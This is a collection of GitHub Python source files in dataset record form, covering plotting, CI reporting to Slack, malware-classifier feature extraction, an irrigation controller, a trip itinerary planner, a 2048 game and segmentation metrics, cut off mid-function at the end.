plt.subplots(nrows=nrows, ncols=ncols, figsize=(ncols*imsize, nrows*imsize))\n idx = 0\n for r in range(nrows):\n for c in range(ncols):\n if idx < symbology_x_batch.shape[0]:\n axi = axs\n if nrows == 1:\n axi = axi\n else:\n axi = axi[r]\n if ncols == 1:\n axi = axi\n else:\n axi = axi[c]\n axi.imshow(symbology_x_batch[idx].cpu().numpy())\n title = f\"{self.classes[y_batch[idx].item()]}\"\n axi.set_title(title)\n axi.axis('off')\n else:\n ax[r][c].axis('off')\n idx += 1\n","repo_name":"chrimerss/FloodDetectionUsingSAR","sub_path":"env/lib/python3.6/site-packages/arcgis/learn/_utils/labeled_tiles.py","file_name":"labeled_tiles.py","file_ext":"py","file_size_in_byte":3825,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"21042071312","text":"from settings import *\nfrom utils.junit_utils import *\nfrom utils.jacoco_utils import *\nfrom utils.slack_utils import *\n\n\ndef main():\n # JUnit result\n junit_report = merge_junit_results(JUNIT_TEST_RESULTS, JUNIT_MERGE_FILES)\n for key in junit_report.keys():\n print('%s %s' % (key, junit_report[key]))\n\n # Coverage result\n jacoco_report = get_jacoco_result(JACOCO_REPORTS)\n for key in jacoco_report.keys():\n print('%s %s' % (key, jacoco_report[key]))\n\n # Notify to Slack\n if len(junit_report.keys()) > 0:\n junit_msg = get_slack_junit_message(REPORT_TITLE, REPOSITORY_NAME, SOURCE_BRANCH, junit_report)\n send_message(SLACK_URL, junit_msg)\n\n if len(jacoco_report.keys()) > 0:\n junit_msg = get_slack_jacoco_message(jacoco_report)\n send_message(SLACK_URL, junit_msg)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ucmp-template-repos/PUBLIC-github-actions","sub_path":"upload-test-result-1.0/app/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"14767729636","text":"import extract_header_image\nimport opcodeCount\nimport segmentCount\n\n #############################################################################\n #############################################################################\n # Get features will return the feature set for all of the files #\n # as a list of values. Each feature will be added in as it is #\n # implemented. #\n #############################################################################\n #############################################################################\n\n\nTRAIN_FILE_PATH = \"/media/napster/data/train/\"\n\ndef getFeatures(file, feature, info={}):\n\n segList = {}\n segCounter = 0\n\n #########################################################\n # FEATURE SET 1 -- Get Seg Count -----------------------\n #########################################################\n\n #########################################################\n # Grab the segCount dictionary that was created #\n # by findBestFeatures. #\n #########################################################\n\n #functional\n\n #SegmentFile = open('segFeatures.txt', 'r', encoding=\"ISO-8859-1\")\n #SegmentDictionary = eval(SegmentFile.readline()) #grab dictionary from first line\n #SegmentFile.close()\n\n #Prep the feature list for segment counts\n #for feature in range(len(SegmentDictionary)):\n # fileFeatureList.append(0)\n\n #Get Seg counts\n #SEG_COUNTS = segmentCount.seg(file)\n\n #Add Seg counts to feature list\n #for segment in SEG_COUNTS:\n # if (segment in SEG_COUNTS and segment in SegmentDictionary):\n # fileFeatureList[SegmentDictionary[segment]] = SEG_COUNTS[segment]\n # elif (segment in SegmentDictionary and SegmentDictionary[segment] in fileFeatureList):\n # fileFeatureList[SegmentDictionary[segment]] = 0\n #########################################################\n\n\n\n\n #########################################################\n # FEATURE SET 2 -- Get N-gram Counts --------------------\n #########################################################\n if (feature == \"NGRAM\"):\n # non functional\n try:\n file = open(TRAIN_FILE_PATH + \"nGramFeatures/\" + file + \".txt\", 'r')\n finderNGramDict = dict(eval(file.readline()))\n file.close()\n except FileNotFoundError:\n # for some reason there are files missing\n return []\n\n myBatchMatrix = []\n for item in range(len(info[\"featureBatch\"])):\n if info[\"featureBatch\"][item] in finderNGramDict:\n myBatchMatrix.append(finderNGramDict[info[\"featureBatch\"][item]])\n else:\n myBatchMatrix.append(0)\n\n\n #myDict = opcodeCount.op(file)\n #preprocessing.trim1GramOpcodeDicts(myDict)\n return myBatchMatrix\n\n #########################################################\n\n\n\n #########################################################\n # FEATURE SET 3 -- Get Header Image ---------------------\n #########################################################\n if (feature == \"CNN\"):\n\n #number of bytes -> 1600\n\n image = extract_header_image.extract_picture_from_bytes(file + \".bytes\", info[\"X\"]*info[\"Y\"])\n\n #all ?? is bytes file so will not use it to classify....\n #must handle empty list on return\n if (len(image) == 0):\n return []\n\n return image\n\n #########################################################\n\n\n","repo_name":"ndrabins/malifier","sub_path":"getFeatures.py","file_name":"getFeatures.py","file_ext":"py","file_size_in_byte":3639,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"26942360352","text":"from Components import canvas, frame, button, entryField, divider, Page\n\n\"\"\"\n The EnterLine Page (for EnterRLE option)\n\"\"\"\nclass pEnterLine(Page):\n def __init__(self, *args):\n Page.__init__(self)\n self.Line = \"\"\n canvas(self.window, \"./Resources/Images/pRLEline.gif\")\n F = frame(self.window)\n self.E = entryField(F, 0.24, 0.62)\n button(F, \"./Resources/Images/bContinue.gif\", 3, self.next, 0.23, 0.71)\n \n def next(self, *args):\n if self.Line == \"\":\n self.Line = self.E.get()\n\n #decoding\n pairs = [(int(self.Line[i:i+2]),self.Line[i+2]) for i in range(0,len(self.Line),3)]\n decodedString = (''.join(n * c for n, c in pairs)) + \"\\n\"\n\n WriteToFile = open(\"./Resources/Data/NewDeCompressedData.txt\",\"a\") #appending to the end of the file\n WriteToFile.write(decodedString)\n WriteToFile.close()\n\n self.window.destroy()\n\nif __name__ == \"__main__\":\n test = pEnterLine()\n test.window.mainloop()","repo_name":"Faeq-F/ASCII-art-viewer","sub_path":"Resources/Components/pEnterLine.py","file_name":"pEnterLine.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"13649001674","text":"import random\n\nclass DeckOfCards:\n def __init__(self):\n self.suits = [\"Hearts\", \"Diamonds\", \"Clubs\", \"Spades\"]\n self.values = [\"A\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\"]\n self.deck = self._create_deck()\n \n def _create_deck(self):\n deck = []\n for suit in self.suits:\n for value in self.values:\n deck.append((suit, value))\n return deck\n \n def shuffle(self):\n random.shuffle(self.deck)\n \n def deal(self):\n if len(self.deck) == 0:\n raise ValueError(\"The deck is empty.\")\n return self.deck.pop()\n\n# Example usage\ndeck = DeckOfCards()\ndeck.shuffle()\n\nprint(deck.deck) # Print the shuffled deck\nprint(deck.deal()) # Deal a card from the deck","repo_name":"SafidyH/di-learning","sub_path":"Week 8/Day5/Daily1/main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"31471193332","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\"\"\"programa de control de riego, con todos los modos\"\"\"\r\n__author__ = \"Manuel Serrano\"\r\n__version__ = \"0.4.2a\"\r\n__email__ = \"manu365manu@gmail.com\"\r\n\r\n\r\n########crear sistema completo de zonas y programacion inicial!!!!\r\n\r\nfrom riego import *\r\nimport datetime\r\nimport threading\r\nimport time\r\nfrom tkinter import *\r\nfrom tkinter import ttk, messagebox\r\nimport getpass\r\nimport pickle\r\nimport lectura\r\nblan = True\r\ns = [\"pepe\",3,\"hola\"]####\r\nd = [1,1,1]####cargar desde el programa raise NameError('HiThere')\r\nf = [10,2]####\r\ng = [14,15,18]####\r\nh = [True,True,True,True,True,True,False]\r\na = riego(s, d, f, g, h)\r\ndef bucle_principal():###cambiar en app cuando este listo\r\n\twhile(True):\r\n\t\ta.comprobar()\r\n\t\tprint(datetime.datetime.today().weekday())\r\n\t\ttime.sleep(0.3)\r\n\t\tlec = lectura.leerParam()\r\n\t\tif(lec[1] == True):\r\n\t\t\ta.riegoManual()\r\n\t\telif(lec[2] == True):\r\n\t\t\tlectura.escribirParam(\"riego\", False)\r\n\t\t\tlectura.escribirParam(\"off\", False)\r\n\t\t\tlectura.escribirParam(\"manual\", False)\r\n\t\t\tquit()\r\n\r\nclass Aplicacion():\r\n def __init__(self):\r\n self.raiz = Tk()\r\n self.style = ttk.Style()\r\n self.style.configure(\"line.TSeparator\", background='#222')\r\n self.raiz.geometry(\"400x250\")\r\n\r\n self.raiz.resizable(0,0)\r\n self.raiz.title(\"Sistema domotica \"+__version__)\r\n self.raiz.configure(background='#222')\r\n self.vis = False\r\n self.label1 = ttk.Label(self.raiz, text=\"hola\",foreground='#ddd', background='#222')\r\n self.label2 = ttk.Label(self.raiz, text=\"Estado: Funcionando...\",foreground='#ddd', background='#222')\r\n self.label3 = ttk.Label(self.raiz, text=\"by: \"+__author__,foreground='#ddd', background='#222')\r\n #self.ctext2 = ttk.Entry(self.raiz, textvariable=\"hey\", width=30, show=\"*\")\r\n self.separ1 = ttk.Separator(self.raiz, orient=HORIZONTAL, style=\"line.TSeparator\")\r\n self.boton1 = ttk.Button(self.raiz, text=\"manual\", padding=(5,5), command=self.Rmanual)\r\n self.boton2 = ttk.Button(self.raiz, text=\"Salir\", padding=(5,5), command=self.parar)\r\n self.boton3 = ttk.Button(self.raiz, text=\"seleccionar\", padding=(0,-5), command='''self.esc''')\r\n self.Lb1 = Listbox(self.raiz)\r\n self.Lb1.insert(1, \"Zona1\")\r\n self.Lb1.insert(2, \"Zona2\")\r\n\r\n self.label1.place(x=50, y=50)\r\n self.label2.place(x=195, y=50)\r\n self.label3.place(x=5, y=230)\r\n #self.ctext2.place(x=150, y=80)\r\n self.separ1.place(x=5, y=95, bordermode=OUTSIDE, height=10, width=390)\r\n self.boton1.place(x=95, y=150)\r\n self.boton2.place(x=215, y=150)\r\n self.boton3.place(x=95,y=120, height=25, width=84)\r\n self.reloj()\r\n self.raiz.mainloop()\r\n\r\n def reloj(self):\r\n self.label1.configure(text=time.strftime(\"%H : %M : %S Dia: \")+str(datetime.datetime.today().weekday()+1))\r\n lec = lectura.leerParam()\r\n if(lec[1] == True):\r\n self.label2.configure(text=\"Estado: riego manual\")\r\n elif(lec[2] == True):\r\n self.label2.configure(text=\"Estado: off\")\r\n elif(not lec[0] == False):\r\n self.label2.configure(text=\"Estado: regando Auto, zon: \"+str(lec[0]))\r\n else:\r\n self.label2.configure(text=\"Estado: funcionando...\")\r\n listbo = self.Lb1.curselection()\r\n try:\r\n self.boton1.configure(text=(\"manual\",listbo[0]))\r\n except:\r\n pass\r\n self.raiz.after(1000, self.reloj)\r\n def Rmanual(self):\r\n try:\r\n \tlistbo = self.Lb1.curselection()\r\n \tasdgf = listbo[0]\r\n \tlectura.escribirParam(\"manual\", True)#######lisbo[0]!!!!!!!! poner las zonas\r\n except:\r\n \tmessagebox.showinfo(message=\"Debe seleccionar una zona\", title=\"error232\")\r\n \tprint(\"error232\")\r\n \tpass\r\n def parar(self):\r\n lectura.escribirParam(\"riego\", False)\r\n lectura.escribirParam(\"off\", True)\r\n lectura.escribirParam(\"manual\", False)\r\n self.raiz.destroy()\r\ndef mainApp():\r\n mi_app = Aplicacion()\r\n\r\n\r\nth1 = threading.Thread(target=bucle_principal, args=())\r\nth2 = threading.Thread(target=mainApp, args=())\r\nth1.start()\r\nth2.start()\r\n\r\n#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\"\"\"programa de control de riego, con todos los modos\"\"\"\r\n__author__ = \"Manuel Serrano\"\r\n__version__ = \"0.5.12b\"\r\n\r\nimport sys\r\nimport time####\r\nimport datetime#### fecha y hora\r\nfrom gpIO import*\r\nimport lectura\r\n\r\nclass riego(object):# clase principal riego\r\n def __init__(self, zon, t, T_ini, pin, dia):\r\n self.lManual = confiGpio(20, 'out')\r\n self.bManual = confiGpio(16, 'in')\r\n self.zonas = zon# nombres de las subzonas\r\n self.pinZonas = pin# numero del pin de cada subzona\r\n self.ZonaAct = 0\r\n self.tiempo = t# tiempo de riego de cada subzona\r\n self.T_inicio = T_ini# momento de comenzar esta zona en concreto\r\n self.riego_inic = False# variable de control\r\n self.nZonas = len(self.zonas)# variable de control\r\n self.gpioZonas = []# variable con los objetos de confiGPIO\r\n self.zonas_ini = []# a que hora comienza cada subzona\r\n self.acaba_zon = []# a que hora acaba esta zona\r\n self.NivelTanqAgua = 0\r\n self.dias = dia# que dias de la semana hay\r\n if (len(self.zonas) != len(self.tiempo)):##\r\n print(\"E1\")\r\n if (len(self.zonas) != len(self.pinZonas)):##comprobaciones por si acaso\r\n print(\"E2\")\r\n\r\n i = 0######no tocar, no se como va xddd\r\n lista = []\r\n while(len(self.tiempo) + 1 > i):\r\n y = self.T_inicio[1]\r\n for x in range(i):\r\n y = y + self.tiempo[x]\r\n lista.append(y)\r\n i += 1\r\n for x in range(len(lista)):\r\n self.zonas_ini.append([self.T_inicio[0],lista[x]])\r\n while(self.zonas_ini[x][1] >= 60):\r\n self.zonas_ini[x][1] = self.zonas_ini[x][1] - 60\r\n self.zonas_ini[x][0] = self.zonas_ini[x][0] + 1\r\n self.acaba_zon = self.zonas_ini[len(self.zonas_ini)-1]#hasta aqui xddd\r\n self.zonas_ini.pop()\r\n print(self.zonas_ini, \" - \", self.acaba_zon)\r\n\r\n for x in range(len(self.pinZonas)):#crear cada objeto confiGpio para la lista\r\n exec(\"sdg{} = confiGpio(self.pinZonas[{}], 'out')\".format(x, x))\r\n exec(\"self.gpioZonas.append(sdg{})\".format(x))\r\n exec(\"self.gpioZonas[{}].llmamar_pin(True)\".format(x))\r\n exec(\"self.gpioZonas[{}].llmamar_pin(False)\".format(x))\r\n #print(self.zonas_ini)\r\n\r\n def riegoManual(self):#copia y pega del comprobar !!!falta btn next!!!\r\n paraZonaM = False\r\n ZonaActM = 0\r\n T_inicioM = obtener_hora()\r\n zonas_iniM = []\r\n acaba_zonM = []\r\n i = 0######no tocar, no se como va xddd\r\n lista = []\r\n while(len(self.tiempo) + 1 > i):\r\n y = T_inicioM[1]\r\n for x in range(i):\r\n y = y + self.tiempo[x]\r\n lista.append(y)\r\n i += 1\r\n for x in range(len(lista)):\r\n zonas_iniM.append([T_inicioM[0],lista[x]])\r\n while(zonas_iniM[x][1] >= 60):\r\n zonas_iniM[x][1] = zonas_iniM[x][1] - 60\r\n zonas_iniM[x][0] = zonas_iniM[x][0] + 1\r\n acaba_zonM = zonas_iniM[len(zonas_iniM)-1]#hasta aqui xddd\r\n zonas_iniM.pop()\r\n print(zonas_iniM, \" - \", acaba_zonM)\r\n lec = lectura.leerParam()\r\n while(paraZonaM == False and lec[1] != False):#bucle principal modo manual, anula temp el normal, si manual = false parar\r\n lec = lectura.leerParam()\r\n if(obtener_hora() in zonas_iniM):\r\n self.lManual.llmamar_pin(True)\r\n ZonaActM = zonas_iniM.index(obtener_hora())\r\n print(\"Zon: \", ZonaActM)\r\n exec(\"self.gpioZonas[{}].llmamar_pin(False)\".format(ZonaActM-1))\r\n exec(\"self.gpioZonas[{}].llmamar_pin(True)\".format(ZonaActM))\r\n elif(obtener_hora() == acaba_zonM):\r\n for x in range(len(self.pinZonas)):\r\n exec(\"self.gpioZonas[{}].llmamar_pin(False)\".format(x))\r\n print(\"c acabo\")\r\n print(\"nop\")#######\r\n paraZonaM = True\r\n else:\r\n print(\"Zon: \", ZonaActM)\r\n exec(\"self.gpioZonas[{}].llmamar_pin(False)\".format(ZonaActM-1))\r\n exec(\"self.gpioZonas[{}].llmamar_pin(True)\".format(ZonaActM))\r\n time.sleep(0.3)\r\n if(lec[2] == True):\r\n print(\"hola\")\r\n lectura.escribirParam(\"riego\", False)\r\n lectura.escribirParam(\"off\", False)\r\n lectura.escribirParam(\"manual\",False)\r\n quit()\r\n \r\n self.lManual.llmamar_pin(False)\r\n lectura.escribirParam(\"manual\", False)\r\n\r\n def comprobar(self):#comprobar cada subzona si se inicia usar en el bucle principal !!!falta btn next!!!\r\n if (self.comprobarDSemana() == True):### dia de la semana\r\n if(self.riego_inic == False):\r\n if (obtener_hora() in self.zonas_ini and lectura.leerParam()[5] == True):####### hora\r\n self.riego_inic = True\r\n print(\"inicio\")\r\n else:\r\n if(obtener_hora() in self.zonas_ini):\r\n print(\"hola \")\r\n self.ZonaAct = self.zonas_ini.index(obtener_hora())\r\n print(\"Zon: \", self.ZonaAct)\r\n exec(\"self.gpioZonas[{}].llmamar_pin(False)\".format(self.ZonaAct-1))\r\n lectura.escribirParam(\"riego\", self.ZonaAct)\r\n elif(obtener_hora() == self.acaba_zon):\r\n self.riego_inic = False\r\n for x in range(len(self.pinZonas)):\r\n exec(\"self.gpioZonas[{}].llmamar_pin(False)\".format(x))\r\n print(\"c acabo\")\r\n lectura.escribirParam(\"riego\", False)\r\n print(\"nop\")#######\r\n else:\r\n print(\"Zon: \", self.ZonaAct)\r\n exec(\"self.gpioZonas[{}].llmamar_pin(False)\".format(self.ZonaAct-1))\r\n exec(\"self.gpioZonas[{}].llmamar_pin(True)\".format(self.ZonaAct))\r\n lectura.escribirParam(\"riego\", self.ZonaAct)\r\n if(lectura.leerParam()[5] == False):\r\n self.riego_inic = False\r\n else:\r\n print(\"nop, sem\")###\r\n if self.bManual.leer_pin() == True:#cambiar a GPIO.HIGH\r\n print(\"Manual\")\r\n self.riegoManual()\r\n\r\n def comprobarDSemana(self):#pequena funcion para comprobar el diaSem, ignorar\r\n if (self.dias[datetime.datetime.today().weekday()] == True):\r\n return True\r\n else:\r\n return False\r\n\r\n '''def autoHumedadTemperatura(self):####mirar en un futuro####\r\n if (----humedad---- < 10 and obtener_hora[0] > 22 and obtener_hora[0] < 8):\r\n pass\r\n else if (----temperatura---- > 40 and obtener_hora[0] > 22 and obtener_hora[0] < 8):\r\n pass# momento mas alto de temp del dia(mirar en un futuro)'''\r\n\r\n'''def bucle_principal(bu, z, t, ti) # asi es como deberia de ser!!!\r\n b = bu\r\n exec(\"{} = riego({},{},{})\".format(b,z,t,ti))'''\r\n\r\ndef obtener_hora():#pequena funcion para obtener la hora, ignorar\r\n h = [0,0]\r\n h[0] = int(time.strftime(\"%H\"))\r\n h[1] = int(time.strftime(\"%M\"))\r\n return(h)\r\n\r\n","repo_name":"0omanuo0/domotics","sub_path":"__pycache__/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":11607,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"8042979806","text":"import json, config\nimport path, tripadvisor\nfrom math import ceil\n\n# Summary: returns the day itinerary by filtering out locations with\n# too few reviews or too low ratings.\n# Constraints: events is the return value getResults from tripadvisor.py\ndef getResults (data):\n locations = data[\"events\"]\n bestLocEvents = []\n min_num_events = 10\n for loc in locations:\n dic = {}\n dic[\"node\"] = loc[\"node\"]\n dic[\"attractions\"] = filterEvents(loc[\"attractions\"], min_num_events)\n dic[\"food\"] = filterEvents(loc[\"food\"], min_num_events)\n dic[\"hotels\"] = filterEvents(loc[\"hotels\"], min_num_events)\n bestLocEvents.append(dic)\n data[\"events\"] = bestLocEvents\n return makeItinerary(data)\n\n# Summary: returns the filtered events for all waypoints \ndef makeItinerary (data):\n scale = 1\n daytime = 12\n user_desired_days = int(data[\"usertime\"])\n min_time = data[\"duration\"]\n total_time = int(ceil(scale * data[\"duration\"]))\n fun_time = int(ceil(float(user_desired_days * daytime))) - total_time\n num_activities = fun_time / 2\n activities_per_day = num_activities / user_desired_days\n locations = data[\"events\"]\n drive_hours = int(ceil(float(user_desired_days * daytime))) - fun_time\n days = []\n\n start = data[\"events\"][0][\"node\"]\n\n # number of locations we pass in a day\n interval = int(ceil(len(locations) / user_desired_days))\n # if an edge case, no activities fit into schedule\n if edge_case(user_desired_days, min_time, num_activities):\n return []\n for i in range(int(user_desired_days)):\n activities = []\n temp = []\n top_hotel = None\n top_dinner = None\n # for each location in the day interval\n for j in range(interval):\n # if out of bounds\n if i*interval + j >= len(locations):\n break\n temp.append(locations[i*interval + j])\n \n iter = -1\n last_stop = temp[iter]\n while last_stop[\"hotels\"] == []:\n iter = iter - 1\n last_stop = temp[iter]\n top_hotel = max(last_stop[\"hotels\"], key=lambda hotel: hotel[\"rating\"])\n iter = -1\n last_stop = temp[iter]\n while last_stop[\"food\"] == []:\n iter = iter - 1\n last_stop = temp[iter]\n top_dinner = max(last_stop[\"food\"], key=lambda food: food[\"rating\"])\n # print(\"top_dinner: \" + json.dumps(top_dinner, indent=4, sort_keys=True))\n # print(temp[0][\"attractions\"])\n # for loc in temp:\n # print(len(loc[\"attractions\"]))\n def best_attraction(location):\n attrs = location[\"attractions\"]\n if len(attrs) > 0:\n return max(attrs, key=lambda attr: attr[\"rating\"])\n else:\n return {\"rating\": -1}\n top_x_activities = sorted(temp, key=lambda loc: best_attraction(loc)[\"rating\"])[:activities_per_day]\n top_x_activities = [best_attraction(activity) for activity in top_x_activities]\n top_x_activities = filter(lambda a: a[\"rating\"]>=0, top_x_activities)\n\n # for activity in top_x_activities:\n # print(json.dumps(activity, indent=4, sort_keys=True))\n # activities.append(activity)\n print(\"i: \" + str(i))\n days.append({})\n if i==0:\n print(json.dumps(top_x_activities, indent=4))\n days[i][\"day\"] = i\n days[i][\"events\"] = top_x_activities\n # for first day, starting at literal beginning\n if i == 0:\n days[i][\"start\"] = locations[0][\"node\"]\n else:\n days[i][\"start\"] = {\"lat\": float(days[i-1][\"end\"][\"lat\"]), \"lng\": float(days[i-1][\"end\"][\"lng\"])}\n # json.loads(days[i-1][\"end\"])\n\n days[i][\"events\"].append(top_dinner)\n days[i][\"events\"].append(top_hotel)\n days[i][\"end\"] = {\"lat\": top_hotel[\"latitude\"], \"lng\": top_hotel[\"longitude\"]}\n\n return days\n # bestDay = reduce(findBest, temp, [])\n\n \n # select top 1 from each interval\n # take (num_activites - user_desired_days)\n\n# Summary: returns true if an edge case\ndef edge_case (user_days, min_hours, num_activities):\n return False\n if user_days * 24 <= int(ceil(min_hours)):\n return True\n elif num_activities < user_days:\n return True\n return False\n\n # Summary: returns the filtered events for all waypoints \ndef filterEvents (events, min_num_events):\n # print(len(events))\n return sorted(events, key=lambda event: event[\"num_reviews\"])[:min_num_events]\n # bestEvents = []\n # choose_best = create_filterEvent(min_num_events)\n # return reduce(choose_best, events, bestEvents)\n \n# Summary: returns the filtered events, removes events with\n# too few reviews or too low ratings\ndef create_filterEvent(min_num_events):\n def filterEvent(bestEvents, event):\n if len(bestEvents) < min_num_events:\n bestEvents.append(event)\n else:\n bestEvents.append(event)\n bestEvents.remove(worstBestEvent(bestEvents))\n return bestEvents\n\n# Summary: returns the best event with the fewest number of reviews\ndef worstBestEvent(events):\n minimum = {}\n count = 0\n for event in events:\n if count == 0:\n minimum = event\n elif minimum[\"num_reviews\"] > event[\"num_reviews\"]:\n minimum = event\n return minimum\n\n# crap = path.find_waypoints(\"USS Alabama, Battleship Parkway, Mobile, AL\", \"USS Constitution, Boston, MA\")\n# crap = tripadvisor.getResults(crap)\n# crap = getResults(crap)\n# print(json.dumps(tripadvisor.getResults(path.find_waypoints(\"USS Alabama, Battleship Parkway, Mobile, AL\", \"USS Constitution, Boston, MA\")), indent=4, sort_keys=True))\n# print(json.dumps(crap, indent=4, sort_keys=True))\n# print(crap)\n","repo_name":"kahns729/road_trip_advisor","sub_path":"itinerary.py","file_name":"itinerary.py","file_ext":"py","file_size_in_byte":5816,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"20350326986","text":"\nfrom random import randint, random\nclass Table:\n def __init__(self,world):\n self.tab = [\n [0,0,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0],\n ]\n self.chk_merge = [\n [0,0,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0],\n ]\n self.full = False;\n self.move_handle = TableMoveHandle()\n self.world = world\n self.random_spawn()\n\n def animate(self,dir):\n while self.move(dir):\n pass\n # self.random_spawn()\n # for i in self.tab:\n # for j in i:\n # print(j ,end=\"\")\n # print()\n self.cls_chk_merge()\n\n def check_full(self):\n for i in self.tab:\n for j in i:\n if j == 0:\n return False\n return True\n\n def print_table(self):\n for i in self.tab:\n for j in i:\n print(j ,end=\"\")\n print()\n\n def check_over(self):\n return self.check_full and not self.can_move\n\n def check_win(self):\n for i in range(5):\n for j in range(5):\n if(self.tab[i][j] == 2048):\n print(self.tab[i][j])\n return True\n return False\n\n def cls_chk_merge(self):\n for i in range(5):\n for j in range(5):\n self.chk_merge[i][j] = 0\n\n def can_move(self):\n for i in range(5):\n for j in range(5):\n if(i>0):\n if(self.tab[i][j] == self.tab[i-1][j]):\n return True\n if(i < 4):\n if(self.tab[i][j] == self.tab[i+1][j]):\n return True\n if(j > 0):\n if(self.tab[i][j] == self.tab[i][j-1]):\n return True\n if(j < 4):\n if(self.tab[i][j] == self.tab[i][j+1]):\n return True\n return False\n\n\n def random_spawn(self):\n if self.check_full():\n self.full = True\n return\n x = randint(0,4)\n y = randint(0,4)\n while self.tab[x][y] != 0:\n x = randint(0,4)\n y = randint(0,4)\n\n self.tab[x][y] = 2\n self.world.grid_handle.add_card(x,y,2)\n\n\n def move(self,dir):\n return self.move_handle.move(self.tab,dir,self.chk_merge,self.world.grid_handle)\n\nclass TableMoveHandle:\n def __init__(self):\n self.direction = {\"left\":self.move_up,\"right\":self.move_down,\"down\":self.move_left,\"up\":self.move_right}\n\n def move(self,tab,dir,chk_merge,grid_handle):\n self.is_moved = False\n try:\n j = 0\n i = 0\n while i < 5:\n while j < 5:\n j = self.direction[dir](tab,i,j,chk_merge,grid_handle)\n j += 1\n i += 1\n j = 0\n except:\n pass\n return self.is_moved\n\n def move_right(self,tab,i,j,chk_merge,grid_handle):\n if tab[i][4-j] != 0:\n if j > 0 and tab[i][5-j] == 0:\n tab[i][5-j] = tab[i][4-j]\n tab[i][4-j] = 0\n chk_merge[i][5-j] = chk_merge[i][4-j]\n chk_merge[i][4-j] = 0\n grid_handle.change_pos(i,4-j,'right',False)\n self.is_moved = True\n elif j > 0 and tab[i][5-j] == tab[i][4-j] and chk_merge[i][4-j] == 0 and chk_merge[i][5-j] == 0:\n tab[i][5-j] *=2\n tab[i][4-j] = 0\n chk_merge[i][5-j] = 1\n grid_handle.change_pos(i,4-j,'right',True)\n self.is_moved = True\n return j;\n\n\n def move_left(self,tab,i,j,chk_merge,grid_handle):\n if tab[i][j] != 0:\n if j > 0 and tab[i][j-1] == 0:\n tab[i][j-1] = tab[i][j]\n tab[i][j] = 0\n chk_merge[i][j-1] = chk_merge[i][j]\n chk_merge[i][j] = 0\n grid_handle.change_pos(i,j,'left',False)\n self.is_moved = True\n elif j > 0 and tab[i][j-1] == tab[i][j] and chk_merge[i][j] == 0 and chk_merge[i][j-1] == 0:\n tab[i][j-1] *=2\n tab[i][j] = 0\n chk_merge[i][j-1] = 1\n grid_handle.change_pos(i,j,'left',True)\n self.is_moved = True\n return j;\n\n def move_up(self,tab,i,j,chk_merge,grid_handle):\n if tab[j][i] != 0:\n if j > 0 and tab[j-1][i] == 0:\n tab[j-1][i] = tab[j][i]\n tab[j][i] = 0\n chk_merge[j-1][i] = chk_merge[j][i]\n chk_merge[j][i] = 0\n grid_handle.change_pos(j,i,'up',False)\n self.is_moved = True\n elif j > 0 and tab[j-1][i] == tab[j][i] and chk_merge[j][i] == 0 and chk_merge[j-1][i] == 0:\n tab[j-1][i] *=2\n tab[j][i] = 0\n chk_merge[j-1][i] = 1\n grid_handle.change_pos(j,i,'up',True)\n self.is_moved = True\n return j;\n\n def move_down(self,tab,i,j,chk_merge,grid_handle):\n if tab[4-j][i] != 0:\n if j > 0 and tab[5-j][i] == 0:\n tab[5-j][i] = tab[4-j][i]\n tab[4-j][i] = 0\n chk_merge[5-j][i] = chk_merge[4-j][i]\n chk_merge[4-j][i] = 0\n grid_handle.change_pos(4-j,i,'down',False)\n self.is_moved = True\n elif j > 0 and tab[5-j][i] == tab[4-j][i] and chk_merge[4-j][i] == 0 and chk_merge[5-j][i] == 0:\n tab[5-j][i] *=2\n tab[4-j][i] = 0\n chk_merge[5-j][i] = 1\n grid_handle.change_pos(4-j,i,'down',True)\n self.is_moved = True\n #print(j)\n return j;\n\n\n\nif __name__ == '__main__':\n table = Table();\n a = 9999\n while a != \"0\":\n for i in table.tab:\n for j in i:\n print(j ,end=\"\")\n print()\n # print()\n # for i in table.chk_merge:\n # for j in i:\n # print(j ,end=\"\")\n # print()\n # print(table.chk_merge[3][3] == 0)\n a = input()\n table.animate(a)\n","repo_name":"coolllll/Q2048","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"74590570680","text":"from torchmetrics import Metric\nfrom functools import partial\nfrom typing import Optional, Union, Any, Iterable\n\nimport numpy as np\nimport torch\n\n\nBINARY_MODE = \"binary\"\nMULTICLASS_MODE = \"multiclass\"\nMULTILABEL_MODE = \"multilabel\"\n\n\ndef to_numpy(x: Union[torch.Tensor, np.ndarray, Any, None]) -> Union[np.ndarray, None]:\n \"\"\"\n Convert whatever to numpy array. None value returned as is.\n Args:\n :param x: List, tuple, PyTorch tensor or numpy array\n Returns:\n :return: Numpy array\n \"\"\"\n if x is None:\n return None\n elif torch.is_tensor(x):\n return x.data.cpu().numpy()\n elif isinstance(x, np.ndarray):\n return x\n elif isinstance(x, (Iterable, int, float)):\n return np.array(x)\n else:\n raise ValueError(\"Unsupported type\")\n\n\ndef binary_dice_iou_score(\n y_pred: torch.Tensor,\n y_true: torch.Tensor,\n mode=\"dice\",\n threshold: Optional[float] = None,\n nan_score_on_empty=False,\n eps: float = 1e-7,\n ignore_index=None,\n) -> 